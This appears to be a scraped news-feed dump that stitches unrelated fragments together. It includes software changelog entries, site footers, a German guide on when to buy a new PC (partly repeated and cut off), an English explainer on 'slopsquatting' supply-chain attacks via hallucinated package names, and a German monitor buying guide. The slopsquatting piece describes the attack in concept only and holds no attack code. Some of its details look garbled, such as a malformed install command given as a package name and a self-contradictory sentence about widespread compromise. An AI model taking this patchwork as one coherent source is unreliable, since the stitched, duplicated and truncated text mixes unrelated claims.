• Reduced Home cold-load time substantially.
• Preserved timeline bottom anchoring more reliably.
• Clarified status indicator severity.

The post Maximizing SOC Efficiency: How to Eliminate Alert Overload and Cut MTTR by 21 Minutes Per Case appeared first on Cyber Security News.

Bugfixes

• Supported OpenAI pro reasoning mode.
• Disabled response storage by default for xAI Responses. (@geraint0923)
• Added OAuth support for Luna Responses Lite.
• Switched to another available org after logging out in the console.
• Used Codex context limits for GPT-5.6 over OAuth. (@nabilfreeman)

TUI

Bugfixes

• Forwarded CLI environment variables to the TUI worker.

Desktop

Bugfixes

• Removed interface transition changes that were accidentally shipped to dev.
• Fixed clipped labels and branch tooltips.
• Stopped the review panel width from jumping when opening or closing it.
• Focused the prompt input when starting a new session.
• Prevented some new-session updates from blocking the UI.
• Fixed timeline outlines getting clipped.
• Aligned context token counts with usage totals.
• Kept the file tree visible while opening files.

Improvements

• Redesigned attachment cards and file comment chips in the new interface.
• Updated the review panel with persistent file browsing, better file tabs, and easier open-in-app actions.
• Restyled the Edit Project modal to match the new interface.
• Added middle-click to open sessions in a new tab.
• Added a temporary setting to switch between the old and new interface.
• Added per-prompt model selection in the composer.
• Polished the new interface styling across the session view and terminal.

Thank you to 2 community contributors:

• @nabilfreeman:
  • fix(openai): use codex context limits for gpt-5.6 (#36248)
• @geraint0923:
  • fix(xai): default store to false for Responses (#36629)

By Lauren Oyler. Read by Kate Handford

Read the text version here

Support the Guardian today: theguardian.com/longreadpod

A version of this piece previously appeared in the Yale Review

Read more of this story at Slashdot.

Ein neuer PC ist selten ein spontaner Kauf: Meistens versucht man, den betagten Rechner so lange wie möglich weiter zu nutzen. Mit Blick auf die Umwelt und den Geldbeutel ergibt das durchaus Sinn.

Doch eines Tages häufen sich die Probleme: Windows-Updates bleiben aus, Programme starten quälend langsam, oder die Festplatte ist permanent voll. Spätestens wenn der Rechner im Alltag nur noch nervt oder gar nicht mehr mit aktueller Hardware Schritt halten kann, wird es Zeit für etwas Neues. Diese fünf klaren Warnsignale verraten Ihnen, wann es so weit ist.

Tipp: Falls es Zeit für ein Upgrade ist, stellen wir Ihnen am Ende des Artikels drei starke PCs vor. Einen leistungsstarken Gaming-PC, eine günstige Office-Maschine und eine solide Multimedia-Station fürs mittlere Budget.

Anzeichen Nummer 1: Kaum noch Software-Updates

Regelmäßige Updates sind entscheidend, damit Ihr PC sicher und funktionsfähig bleibt. Wenn Windows oder andere wichtige Programme keine Updates mehr bekommen, ist das ein klares Warnsignal. Besonders kritisch wird es, wenn das Betriebssystem selbst nicht mehr unterstützt wird – wie zuletzt bei Windows 10, das seit Oktober 2025 nur noch eingeschränkt Sicherheits-Updates für 24 Monate erhält.

Ohne solche Updates fehlen bald wichtige Sicherheits-Patches. Das macht einen PC anfällig für Viren, Malware und andere Angriffe aus dem Netz. Zudem laufen viele neue Programme irgendwann nur noch auf aktuellen Windows-Versionen. Altrechner bleiben dann auch softwareseitig auf der Strecke.

Tipp: Prüfen Sie in den Windows-Einstellungen regelmäßig, ob neue Updates verfügbar sind. Wenn Ihr System dauerhaft meldet, es sei „auf dem neuesten Stand“, obwohl bereits eine neuere Windows-Version existiert, dann wird es höchste Zeit, über einen neuen PC nachzudenken.

Anzeichen Nummer 2: PC schnell heiß und laut

Foundry

Ein gesundes System sollte auch unter Last einigermaßen leise bleiben. Wenn Ihr PC aber schon bei einfachen Aufgaben heißläuft und die Lüfter im Dauerbetrieb laut werden, deutet das auf veraltete oder überlastete Hardware hin. Neben der nervigen Geräuschkulisse riskieren Sie auch, dass Bauteile durch Überhitzung Schaden nehmen oder der PC in einem kritischen Moment den Dienst quittiert. Im schlimmsten Fall gehen dann wichtige Daten verloren.

Tipp: Reinigen Sie Ihren PC zunächst von Staub und prüfen Sie die Temperatur mit Tools wie HWMonitor. Bleiben die Probleme trotz Wartung bestehen, ist ein Neukauf oft sinnvoller, als Kühlung oder Bauteile nachzurüsten, während man auf veralteten Komponenten sitzen bleibt.

Anzeichen Nummer 3: Kaum noch Speicherplatz frei

Wenn die SSD ständig überläuft, wird das Arbeiten am PC schnell zur Geduldsprobe. Windows warnt dann permanent vor zu wenig Speicher, Programme lassen sich nicht mehr installieren und selbst einfache Updates schlagen fehl. Zwar kann man kurzfristig mit einer externen Festplatte oder Cloud-Speicher aushelfen. Auf Dauer wird es aber mühsam, ständig Daten hin- und herzuschieben.

Tipp: Schauen Sie im Explorer nach, wie viel freier Speicher auf Ihrer System-SSD (meist „C:“) noch übrig ist. Ist die permanent voll und lässt sich nicht sinnvoll auf- oder nachrüsten,, ist ein neuer PC die bessere Lösung.

Anzeichen Nummer 4: Alles läuft nur noch im Schneckentempo

Ihr Rechner benötigt Minuten zum Hochfahren, Programme starten träge, und selbst einfache Aufgaben wie das Öffnen eines Browser-Tabs fühlen sich zäh an? Dann ist die Hardware schlicht zu alt oder ausgelastet. Eine SSD oder mehr RAM können dann kurzfristig helfen – sofern Sie die horrenden Preise für Arbeitsspeicher und Laufwerke bezahlen wollen oder können. Oftmals ist es dann günstiger, sich gleich einen neuen PC zu kaufen.

Tipp: Achten Sie darauf, wie lange Ihr PC für Alltagsaufgaben braucht. Wenn sich Wartezeiten häufen und neue Software ständig ruckelt oder abstürzt, ist es an der Zeit, über ein Upgrade nachzudenken. Dann laufen Programme nicht nur schnell und geschmeidig, die Nutzung macht mit einem responsiven System auch deutlich mehr Spaß.

Anzeichen Nummer 5: Upgrade nicht möglich oder nicht mehr sinnvoll

Ein klares Zeichen für den fälligen PC-Wechsel ist auch, wenn sich der Rechner nicht mehr sinnvoll erweitern lässt. Alte Mainboards unterstützen oft keine aktuellen Prozessoren oder RAM-Standards, und in kleinen Fertigsystemen ist schlicht kein Platz für eine neue Grafikkarten – oder das Netzteil ist zu schwach dafür.

Hinzu kommen veraltete Schnittstellen wie USB und PCI Express, die ebenfalls Ihren PC per se ausbremsen. Wer hier noch versucht, nachzurüsten, steckt oft viel Geld in eine alte Plattform, ohne große Leistungsverbesserung.

Tipp: Prüfen Sie vor einem Hardware-Upgrade, ob Ihr System moderne Standards wie DDR5-RAM, PCIe 4.0 oder USB4 unterstützt. Ist das nicht der Fall, lohnt sich in vielen Fällen der Umstieg auf ein komplett neues Gerät.

3 Kauftipps: Der passende PC für Office, Multimedia und Gaming

Hier stellen wir Ihnen drei vorkonfigurierte PCs vor, die mit starkem Preis-Leistungs-Verhältnis punkten. Eine größere Auswahl bietet unser Beitrag “Die besten Mini-PCs im Test“.

Preisbewusste Käufer sollten sich zusätzlich unseren Artikel “Die besten Mini-PCs bis 800 Euro im Test” anschauen. Damit sparen Sie sich langes Suchen und Vergleichen. Sie können direkt ein Modell wählen, das zu Ihren Ansprüchen passt. Fürs Office, Multimedia und Gaming haben wir für Sie noch drei Empfehlungen mit dem aktuell besten Preis-Leistungs-Verhältnis herausgepickt:

Office-Empfehlung: Peladn WO4

Christoph Hoffmann

Der Peladn WO4 (Test) zeigt eindrucksvoll, wie viel durchdachte Technik heute in ein ultrakompaktes Gehäuse passt. Herzstück ist der AMD Ryzen 5 7640HS, der mit moderner Zen-4-Architektur, hoher Effizienz und starker Single-Core-Leistung selbst anspruchsvolle Aufgaben mühelos bewältigt. In Kombination mit 16 GB DDR5-RAM und der integrierten Radeon-760M-Grafik eignet sich der Mini-PC nicht nur als Office-Rechner mit hoher Produktivität, sondern bewältigt auch Multitasking-Aufgaben und KI-Workflows.

Multimedia-Empfehlung: Geekom A9 Max 2026 Edition

Christoph Hoffmann

Mit dem A9 Max 2026 Edition (Test) liefert Geekom ein moderates, aber sinnvolles Update. Mit leistungsstarken AMD-Prozessoren vom Ryzen 9 7940HS bis zum Ryzen AI 9 HX 470 erreicht der Mini-PC bei Bildbearbeitung und Videoschnitt ein sehr hohes Leistungsniveau. Die Anschlussvielfalt bleibt stark, die dreijährige Garantie spricht für Geekom. Käufer erhalten ein insgesamt ausgewogenes Multimedia-Paket für die kommenden Jahre.

Gaming-Empfehlung: Cyberpowerpc Luxe Gaming-PC

CYBERPOWERPC

Bis hin zur 4K-Auflösung sind Sie mit dem Cyberpowerpc Luxe gut fürs Gaming aufgestellt. Die Nvidia Geforce RTX 5070 Ti bringt 16 GB GDDR7-Videospeicher und modernste Bildverbesserungstechniken wie DLSS 4.5 mit. Zur Seite gestellt ist die Grafikkarte der Achtkern-Prozessor AMD Ryzen 7 9800X3D mit dem Gaming-Turbo 3D V-Cache.

Dazu gibt’s satte 32 GB Arbeitsspeicher und eine 1 TB große SSD. Der Rechner setzt auf eine AIO-Wasserkühlung und sorgt mit sechs RGB-Lüftern auch für eine stimmige Beleuchtung.

Fazit: Wann ein neuer PC wirklich Sinn ergibt

Fehlende Updates, volle Festplatten, träge Leistung, Überhitzung oder mangelnde Aufrüstbarkeit: Das sind klare Signale, dass Ihr PC ausgedient hat. Ein neues System lohnt sich aber nicht nur bei Problemen. Auch um die Produktivität zu verbessern oder um Multimedia und Gaming mit modernen Standards zu genießen, ist geeignete Hardware wichtig – und sie verspricht mehr Spaß bei der täglichen Nutzung.

Understanding what slopsquatting is

Slopsquatting is a new type of supply chain attack that uses large language model (LLM) hallucinations to inject malicious code into development workflows. The term combines "AI slop" and "typosquatting," a deceptive practice where attackers register misspelled or lookalike versions of popular domains to prey on users who enter URLs incorrectly.

This novel attack vector exploits LLMs' tendency to generate fictitious software package names, which threat actors can then register and populate with malicious code.

During AI-assisted coding, the model may generate fake open-source packages — bundled collections of files, programs and installation tools. This alone is not necessarily harmful. However, if an attacker registers that fake package name, they can inject malware that gets incorporated directly into a developer's codebase.

How AI creates a supply chain risk

Traditionally, AI safety risks stem from hallucinations, which can adversely affect users who treat misinformation as valid. However, those same hallucinations have evolved into exploitable security vulnerabilities.

Typosquatting is a deceptive practice where a cybercriminal registers a mispelled version of a popular package to trick developers. It has existed for decades, so registries have built protections against it. 

However, AI has changed the threat model. It recommends fictitious packages that sound plausible rather than making simple misspellings. Once attackers learn which hallucinated packages models tend to invent, they can register malware-filled packages under those names.

Since the hallucinated packages are not simply typoed versions of popular libraries, there are no protections against this practice at scale. For example, the registry protects against an attacker publishing "crossenv," a squat of the popular "cross-env" package. However, it would not identify "mpn install cross-env file" or "cross-env-extended" as threats.

Hallucinations are persistent and severe

Even if many LLMs recommend the same hallucinated package, widespread compromise is still possible. Malicious packages could remain undetected in production for months or even years, allowing threat actors to passively inject malware across countless environments. 

One research team analyzed 31,267 vulnerabilities belonging to 14,675 packages across 10 programming languages. They discovered that reported vulnerabilities are increasing at an annual rate of 98%, faster growth than the 25% annual increase in the number of open-source software packages. The team also observed an 85% increase in the average lifespan of vulnerabilities, indicating a decline in security.

Real-world dangers of AI hallucinations

Malicious actors can create open-access packages under the same name as commonly hallucinated libraries. Instead of standard code, they are filled with malware. The models believe they are referring to existing packages, so they often repeat the same hallucinated names. Since the hallucinations are not random, attackers could theoretically register packages that trick tens of thousands of developers.

These packages appear legitimate. String similarity to real libraries makes them recognizable. One-character typos suggest simple mistakes rather than malicious intent. Even fully fabricated names remain believable when the AI presents them in proper context. Detection is challenging, as developers trust their coding assistants to recommend valid dependencies.

Why are LLMs hallucinating packages?

LLMs generate the statistically most likely answer rather than prioritizing accuracy. Hallucinations are relatively common as a result. One study found hallucination rates range from 50% to 82%, depending on the model and prompting method. Even GPT-4o, the best-performing model, goes no lower than 23%, even with prompt-based mitigation.

Adversarial hallucination attacks could worsen this problem. Threat actors can leverage token-level manipulation or retrieval poisoning to force models to hallucinate in ways they want, increasing the likelihood that models recommend their malicious packages.

Which LLMs are prone to slopsquatting?

While all LLMs are prone to slopsquatting, some are more vulnerable than others. The likelihood of producing hallucinated packages during code generation depends on the model. Proprietary models are four times less likely to generate hallucinated packages than open-source models.

One research group proved this by conducting 30 tests across 30 different systems. Out of the 576,000 code samples and 2.23 million packages it produced, 19.7% were hallucinations. GPT-4.0 Turbo had a hallucination rate of 3.59%, while DeepSeek 1B, the best-performing open-source model, reached 13.63%.

This research suggests that organizations relying on open-source AI tools for code generation are roughly four times more exposed to slopsquatting attacks. That doesn’t necessarily mean proprietary tools will always remain safer, though. Once attackers realize this disparity, they may manipulate proprietary LLMs to take advantage of perceived safety.

Vibe coding contributes to the problem

Software developers who use AI tools estimate that over 40 percent of the code they commit includes AI assistance. They expect that percentage will increase considerably within the next few years. Already, 72% of those who have tried AI use it daily.

The uptick in vibe coding and AI-assisted coding amplifies the threat surface. As more developers integrate AI tools into their workflows without implementing proper verification processes, the attack surface for slopsquatting continues to expand.

For those using AI to assist with coding, double-checking output is essential. Verifying that recommended packages actually exist in official repositories before incorporating them into projects reduces risk.

Navigating AI-assisted development

Implementing automated checks that validate package names against known registries can help catch hallucinated packages before they enter production code. Security teams should also monitor for unusual package installations and maintain up-to-date threat intelligence on known slopsquatting campaigns.

Zac Amos is the Features Editor at ReHack.

Ein neuer Monitor ist das wohl spürbarste Upgrade für jeden PC-Arbeitsplatz. Schließlich starren wir täglich stundenlang genau auf diese eine Komponente. Während vor einigen Jahren noch vor allem die Bildschirmdiagonale und die Auflösung entscheidend waren, stehen Käufer heute vor einer technologischen Grundsatzfrage.

Die Eier legende Wollmilchsau gibt es nämlich leider immer noch nicht: Was beim nächtlichen Zocken für offene Münder sorgt, kann Sie beim morgendlichen Excel-Marathon im hell erleuchteten Homeoffice schnell im Stich lassen.

Damit Sie beim Upgrade nicht in technische Fettnäpfchen treten, dröseln wir die Stärken und Schwächen der drei wichtigsten Technologien auf und geben eine Kaufberatung für die unterschiedlichen Modelltypen.

Die drei Panel-Technologien im Alltags-Check

Um das Maximum aus Ihrem Budget herauszuholen, sollten Sie die Charakteristiken der Panel-Typen kennen. Jede Technik hat ein optimales Einsatzgebiet.

1. Der IPS-Monitor: Unkomplizierter Allrounder für den Alltag

IPS (In-Plane Switching) gilt seit Jahren als der vernünftige Alleskönner unter den Display-Technologien. Die Technologie ist ausgereift, langlebig und bietet hervorragende Farbtreue sowie extrem stabile Blickwinkel. Egal, ob Sie schräg vor dem Monitor sitzen oder ein Kollege von der Seite daraufblickt: Die Farben verfälschen sich nicht.

Das größte Manko dieser Technik ist jedoch der systembedingte Kontrast. Weil hier eine dauerhafte Hintergrundbeleuchtung durch die Flüssigkristalle scheint, schimmert Schwarz im dunklen Raum eher dunkelgrau (IPS-Glow).

Für wen eignen sich IPS-Displays?

Dieser Displaytyp ist ideal fürs Homeoffice, klassische Büroarbeiten, Bildbearbeitung und Gelegenheitsspieler, die einen zuverlässigen Monitor ohne das Risiko von Einbrenneffekten suchen.

Produktempfehlung: LG UltraGear 27GR75Q-B

LG

Preis: ca. 299 Euro

Technik-Specs:

• Bilddiagonale & Format: 27 Zoll (68,5 cm), Seitenverhältnis 16:9
• Auflösung & Panel-Typ: WQHD (2.560 × 1.440 Pixel), IPS-Panel
• Farbraum & Helligkeit: 99 % sRGB-Abdeckung, HDR10-Unterstützung, maximale Helligkeit 300 Nits
• Bildwiederholrate & Reaktionszeit: 165 Hz nativ, 1 ms
• Synchronisation: AMD FreeSync Premium, Nvidia G-Sync Compatible
• Ergonomie-Funktionen: Höhenverstellbar, neigbar, schwenkbar, Pivot-Funktion (90-Grad-Drehung)
• Zusatzfunktionen: Flicker-Safe-Hintergrundbeleuchtung, Blaulichtreduktion (Reader Mode), softwarebasierte Menüsteuerung (OnScreen Control)
• Anschlüsse: 1 × DisplayPort 1.4, 2 × HDMI (Version herstellerseitig nicht spezifiziert), 1 × 3,5-mm-Klinkenanschluss (Kopfhörer)

Der LG UltraGear 27GR75Q-B bedient die im Consumer-Bereich weitverbreitete Kombination aus 27-Zoll-Diagonale und WQHD-Auflösung. Das verbaute IPS-Panel bietet eine Pixeldichte, die für eine angenehm scharfe Textdarstellung im Büroalltag sorgt, während die Bildwiederholrate von 165 Hz flüssige Bildbewegung beim Gaming verspricht.

Mit einer herstellerseitig angegebenen sRGB-Farbraumabdeckung von 99 Prozent eignet sich das Modell auch für grundlegende Bildbearbeitungen im semiprofessionellen Bereich.

2. Mini-LED-Monitore: HDR-Leuchtkraft für helle Räume

Mini-LED ist die Evolution des klassischen LCD-Monitors. Statt einiger großer Leuchtdioden sitzen dabei jedoch tausende winzige LEDs hinter dem Panel, die in hunderten separaten Zonen geregelt werden können (Local Dimming).

Der Effekt: Wo das Bild besonders dunkel sein soll, können die entsprechenden Dimmzonen stark heruntergeregelt oder sogar abgeschaltet werden. Das sorgt für fantastische Kontraste und eine beeindruckende Spitzenhelligkeit, die echtes, blendendes HDR ermöglicht.

Der Nachteil: Um helle Objekte auf dunklem Grund (wie den Mauszeiger) kann ein minimaler Lichtkranz entstehen (Blooming).

Für wen eignen sich Mini-LED-Monitore?

Besonders in hellen Räumen spielt Mini-LED seine Stärken aus. Die Technik eignet sich außerdem für ambitionierte Gamer und Film-Enthusiasten, die spektakuläre HDR-Effekte ohne Kompromisse bei der Helligkeit erleben möchten.

Produktempfehlung: AOC Gaming Q27G3XMN

AOC

Preis: 259 Euro

Technik-Specs:

• Bilddiagonale & Format: 27 Zoll (68,6 cm), Seitenverhältnis 16:9, mattes Display
• Auflösung & Panel-Typ: QHD (2.560 × 1.440 Pixel), VA-Panel
• Hintergrundbeleuchtung: Mini-LED-Technologie mit 336 lokalen Dimmzonen (Local Dimming)
• Kontrast & Helligkeit: Statischer Kontrast 3.000:1, maximale Spitzenhelligkeit 1.000 Nits
• HDR-Zertifizierung: VESA Certified DisplayHDR 1000
• Bildwiederholrate & Reaktionszeit: 180 Hz nativ, 1 ms
• Synchronisation: AMD FreeSync Premium Pro
• Ergonomie-Funktionen: 130 mm höhenverstellbar, Pivot-Funktion (90-Grad-Drehung), abnehmbarer Standfuß, VESA-Wandhalterung kompatibel (100 x 100 mm)
• Zusatzfunktionen: Flicker-Free-Hintergrundbeleuchtung, Blaulichtreduktion (Low Blue Light), herstellereigene Konfigurationssoftware (AOC G-Menu)
• Anschlüsse: 1 × DisplayPort 1.4, 2 × HDMI 2.0, 1 × 3,5-mm-Klinkenanschluss (Kopfhörer)
• Lieferumfang & Service: Monitor, Stromkabel, HDMI-Kabel, DisplayPort-Kabel, Treiber-CD, 3 Jahre Herstellergarantie

Der AOC Gaming Q27G3XMN platziert sich als vergleichsweise günstiger Einstieg in die Mini-LED-Technologie. Durch die VESA-Zertifizierung nach dem DisplayHDR-1000-Standard liefert das Panel eine deutlich höhere Spitzenhelligkeit und Dynamik als klassische IPS-Monitore ohne lokales Dimming. 336 separate Dimmzonen ermöglichen eine selektive Abschaltung der Hintergrundbeleuchtung, womit der Kontrast bei der Darstellung von HDR-Inhalten im Vergleich zu herkömmlichen Edge-LED-Modellen sichtbar steigt.

3. OLED-Monitore: Das visuelle Nonplusultra mit perfektem Schwarz

OLED-Monitore sind der Traum vieler Gamer und Heimkino-Enthusiasten. Weil hier jedes Pixel als winziges, selbstleuchtendes Element agiert, benötigt OLED keine Hintergrundbeleuchtung. Wird ein Pixel abgeschaltet, ist es absolut schwarz. Das resultiert in unendlichem Kontrast und einer Bildtiefe, die keine andere Technik erreicht.

Hinzu kommen Reaktionszeiten nahe dem theoretischen Nullpunkt. Allerdings erreichen OLED-Monitore bei großflächigen Bildinhalten meist nicht die Dauerhelligkeit hochwertiger Mini-LED-Displays. Bei statischen Inhalten (wie Excel-Tabellen oder Taskleisten) besteht auf Dauer zudem ein theoretisches Risiko für Einbrenneffekte (Burn-In). Solche Monitore setzen deshalb auf verschiedene Schutzmechanismen wie Pixel-Refresh, Pixel-Shift oder automatische Helligkeitsanpassungen.

Für wen eignet sich die OLED-Technik?

Für Hardcore-Gamer, Cineasten und Nutzer, die primär in abgedunkelten Räumen arbeiten oder spielen und die absolut beste Bildqualität suchen.

Produktempfehlung: Asus ROG Swift OLED PG27AQDM

Asus

Preis: 600 Euro

Technik-Specs:

• Bilddiagonale & Format: 26,5 Zoll (67,3 cm), Seitenverhältnis 16:9, Anti-Glare-Oberfläche (reflexionsarm)
• Auflösung & Panel-Typ: WQHD (2.560 × 1.440 Pixel), 10-Bit-OLED
• Farbraum & Farbtreue: 99 % DCI-P3-Farbraumabdeckung, sehr hohe Farbgenauigkeit (Delta E < 2)
• Helligkeit: Maximale Spitzenhelligkeit von 1.000 Nits, optionale Funktion für gleichmäßige Helligkeitsbegrenzung
• Bildwiederholrate & Reaktionszeit: 240 Hz nativ, 0,03 ms
• Synchronisation & Input: Nvidia G-Sync Compatible, AMD FreeSync Premium, GameFast Input (Eingabeverzögerungs-Reduzierung)
• Panel-Schutz (Wärmemanagement): Integrierter, angepasster Kühlkörper (Heatsink), softwareseitige Spannungsoptimierung zur Verringerung des Burn-In-Risikos
• Ergonomie & Bedienung: Standfuß mit flexiblen Verstellmöglichkeiten, Monitoreinstellungen über Windows-Software per Maus steuerbar
• Anschlüsse: DisplayPort 1.4, HDMI (Version herstellerseitig nicht spezifiziert), integrierter USB-Hub

Der Asus ROG Swift OLED PG27AQDM setzt auf die typischen Stärken der OLED-Technologie: konstruktionsbedingt perfektes Schwarz und extrem niedrige Reaktionszeiten von 0,03 Millisekunden.

In Kombination mit der hohen Bildwiederholrate von 240 Hertz eignet sich das Modell primär für schnelle, kompetitive Spiele. Um der typischen OLED-Problematik des Panel-Einbrennens (Burn-In) entgegenzuwirken, verbaut der Hersteller einen passiven Kühlkörper und nutzt eine softwareseitige Spannungsoptimierung, die die thermische Belastung der organischen Pixel im Betrieb reduzieren soll.

Die drei Technologien im Vergleich

Hier sehen Sie die Stärken und Schwächen im direkten Schlagabtausch, um die richtige Kaufentscheidung für Ihren Arbeitsplatz zu treffen:

Software-Ergänzungskit: Mehr Komfort im Monitor-Alltag

Ein Hardware-Upgrade ist nur die halbe Miete. Mit diesen drei kostenlosen Software-Tools holen Sie noch mehr aus Ihrem neuen Bildschirm heraus:

• Microsoft PowerToys (FancyZones): Gerade bei großen oder ultra weiten Monitoren ist das Standard-Fensterlayout von Windows überfordert. Mit dem Modul FancyZones unterteilen Sie Ihren Bildschirm in feste, frei definierbare Raster, in die Sie Fenster mit gedrückter Shift-Taste blitzschnell einrasten lassen. Ein Must-Have für Multitasking.
• Twinkle Tray: Wer die Helligkeit seines Monitors nicht mühsam über die fummeligen Tasten direkt am Gehäuse verstellen möchte, steuert mit diesem Tool die Monitorhelligkeit ganz bequem per Mausrad oder Tastenkombination direkt aus der Windows-Taskleiste heraus.
• Auto Dark Mode: Um bei OLED-Displays dauerhaft helle Oberflächen zu reduzieren und am Abend die Augen zu entlasten, schaltet dieses Tool Windows sowie kompatible Apps und Websites nach Sonnenuntergang automatisch in den dunklen Design-Modus.

Fazit: Welcher Monitor-Typ sind Sie?

Das perfekte Monitor-Upgrade richtet sich immer nach Ihrem Nutzungsverhalten im Alltag: Wer einen treuen, langlebigen Partner sucht, der acht Stunden am Tag ohne Murren Office-Dokumente anzeigt und beim Budget nicht schmerzt, greift zum IPS-Klassiker.

Wer sich hingegen von spektakulären HDR-Effekten in Filmen und Spielen begeistern lassen will oder tagsüber in hellen Räumen arbeitet, findet im Mini-LED-Monitor einen hell leuchtenden Allrounder. Wenn kompromisslose Bildqualität, perfektes Schwarz und die schnellsten Reaktionszeiten beim Gaming im Vordergrund stehen, führt kein Weg am OLED-Panel vorbei – sofern das nötige Kleingeld vorhanden ist.

Bugfixes

• Improved Meta model handling for reasoning variants and provider requests.

Desktop

Bugfixes

• Fixed clipped descenders in model selector labels.

Improvements

• Added a dismissible tabs intro popup and refreshed the help entry point.
• Updated sub-agent task rows to match the v2 session design more closely.
• Restyled the revert dock in v2 sessions for clearer restore actions.
• Added a v2 free-model selector with faster access to more providers.

Ein neuer PC ist selten ein spontaner Kauf: Meistens versucht man, den betagten Rechner so lange wie möglich weiter zu nutzen. Mit Blick auf die Umwelt und den Geldbeutel ergibt das durchaus Sinn.

Doch eines Tages häufen sich die Probleme: Windows-Updates bleiben aus, Programme starten quälend langsam, oder die Festplatte ist permanent voll. Spätestens wenn der Rechner im Alltag nur noch nervt oder gar nicht mehr mit aktueller Hardware Schritt halten kann, wird es Zeit für etwas Neues. Diese fünf klaren Warnsignale verraten Ihnen, wann es so weit ist.

Tipp: Falls es Zeit für ein Upgrade ist, stellen wir Ihnen am Ende des Artikels drei starke PCs vor. Einen leistungsstarken Gaming-PC, eine günstige Office-Maschine und eine solide Multimedia-Station fürs mittlere Budget.

Anzeichen Nummer 1: Kaum noch Software-Updates

Regelmäßige Updates sind entscheidend, damit Ihr PC sicher und funktionsfähig bleibt. Wenn Windows oder andere wichtige Programme keine Updates mehr bekommen, ist das ein klares Warnsignal. Besonders kritisch wird es, wenn das Betriebssystem selbst nicht mehr unterstützt wird – wie zuletzt bei Windows 10, das seit Oktober 2025 nur noch eingeschränkt Sicherheits-Updates für 24 Monate erhält.

Ohne solche Updates fehlen bald wichtige Sicherheits-Patches. Das macht einen PC anfällig für Viren, Malware und andere Angriffe aus dem Netz. Zudem laufen viele neue Programme irgendwann nur noch auf aktuellen Windows-Versionen. Altrechner bleiben dann auch softwareseitig auf der Strecke.

Tipp: Prüfen Sie in den Windows-Einstellungen regelmäßig, ob neue Updates verfügbar sind. Wenn Ihr System dauerhaft meldet, es sei „auf dem neuesten Stand“, obwohl bereits eine neuere Windows-Version existiert, dann wird es höchste Zeit, über einen neuen PC nachzudenken.

Anzeichen Nummer 2: PC schnell heiß und laut

Foundry

Ein gesundes System sollte auch unter Last einigermaßen leise bleiben. Wenn Ihr PC aber schon bei einfachen Aufgaben heißläuft und die Lüfter im Dauerbetrieb laut werden, deutet das auf veraltete oder überlastete Hardware hin. Neben der nervigen Geräuschkulisse riskieren Sie auch, dass Bauteile durch Überhitzung Schaden nehmen oder der PC in einem kritischen Moment den Dienst quittiert. Im schlimmsten Fall gehen dann wichtige Daten verloren.

Tipp: Reinigen Sie Ihren PC zunächst von Staub und prüfen Sie die Temperatur mit Tools wie HWMonitor. Bleiben die Probleme trotz Wartung bestehen, ist ein Neukauf oft sinnvoller, als Kühlung oder Bauteile nachzurüsten, während man auf veralteten Komponenten sitzen bleibt.

Anzeichen Nummer 3: Kaum noch Speicherplatz frei

Wenn die SSD ständig überläuft, wird das Arbeiten am PC schnell zur Geduldsprobe. Windows warnt dann permanent vor zu wenig Speicher, Programme lassen sich nicht mehr installieren und selbst einfache Updates schlagen fehl. Zwar kann man kurzfristig mit einer externen Festplatte oder Cloud-Speicher aushelfen. Auf Dauer wird es aber mühsam, ständig Daten hin- und herzuschieben.

Tipp: Schauen Sie im Explorer nach, wie viel freier Speicher auf Ihrer System-SSD (meist „C:“) noch übrig ist. Ist die permanent voll und lässt sich nicht sinnvoll auf- oder nachrüsten,, ist ein neuer PC die bessere Lösung.

Anzeichen Nummer 4: Alles läuft nur noch im Schneckentempo

Ihr Rechner benötigt Minuten zum Hochfahren, Programme starten träge, und selbst einfache Aufgaben wie das Öffnen eines Browser-Tabs fühlen sich zäh an? Dann ist die Hardware schlicht zu alt oder ausgelastet. Eine SSD oder mehr RAM können dann kurzfristig helfen – sofern Sie die horrenden Preise für Arbeitsspeicher und Laufwerke bezahlen wollen oder können. Oftmals ist es dann günstiger, sich gleich einen neuen PC zu kaufen.

Tipp: Achten Sie darauf, wie lange Ihr PC für Alltagsaufgaben braucht. Wenn sich Wartezeiten häufen und neue Software ständig ruckelt oder abstürzt, ist es an der Zeit, über ein Upgrade nachzudenken. Dann laufen Programme nicht nur schnell und geschmeidig, die Nutzung macht mit einem responsiven System auch deutlich mehr Spaß.

Anzeichen Nummer 5: Upgrade nicht möglich oder nicht mehr sinnvoll

Ein klares Zeichen für den fälligen PC-Wechsel ist auch, wenn sich der Rechner nicht mehr sinnvoll erweitern lässt. Alte Mainboards unterstützen oft keine aktuellen Prozessoren oder RAM-Standards, und in kleinen Fertigsystemen ist schlicht kein Platz für eine neue Grafikkarten – oder das Netzteil ist zu schwach dafür.

Hinzu kommen veraltete Schnittstellen wie USB und PCI Express, die ebenfalls Ihren PC per se ausbremsen. Wer hier noch versucht, nachzurüsten, steckt oft viel Geld in eine alte Plattform, ohne große Leistungsverbesserung.

Tipp: Prüfen Sie vor einem Hardware-Upgrade, ob Ihr System moderne Standards wie DDR5-RAM, PCIe 4.0 oder USB4 unterstützt. Ist das nicht der Fall, lohnt sich in vielen Fällen der Umstieg auf ein komplett neues Gerät.

3 Kauftipps: Der passende PC für Office, Multimedia und Gaming

Hier stellen wir Ihnen drei vorkonfigurierte PCs vor, die mit starkem Preis-Leistungs-Verhältnis punkten. Eine größere Auswahl bietet unser Beitrag “Die besten Mini-PCs im Test“.

Preisbewusste Käufer sollten sich zusätzlich unseren Artikel “Die besten Mini-PCs bis 800 Euro im Test” anschauen. Damit sparen Sie sich langes Suchen und Vergleichen. Sie können direkt ein Modell wählen, das zu Ihren Ansprüchen passt. Fürs Office, Multimedia und Gaming haben wir für Sie noch drei Empfehlungen mit dem aktuell besten Preis-Leistungs-Verhältnis herausgepickt:

Office-Empfehlung: Peladn WO4

Christoph Hoffmann

Der Peladn WO4 (Test) zeigt eindrucksvoll, wie viel durchdachte Technik heute in ein ultrakompaktes Gehäuse passt. Herzstück ist der AMD Ryzen 5 7640HS, der mit moderner Zen-4-Architektur, hoher Effizienz und starker Single-Core-Leistung selbst anspruchsvolle Aufgaben mühelos bewältigt. In Kombination mit 16 GB DDR5-RAM und der integrierten Radeon-760M-Grafik eignet sich der Mini-PC nicht nur als Office-Rechner mit hoher Produktivität, sondern bewältigt auch Multitasking-Aufgaben und KI-Workflows.

Multimedia-Empfehlung: Geekom A9 Max 2026 Edition

Christoph Hoffmann

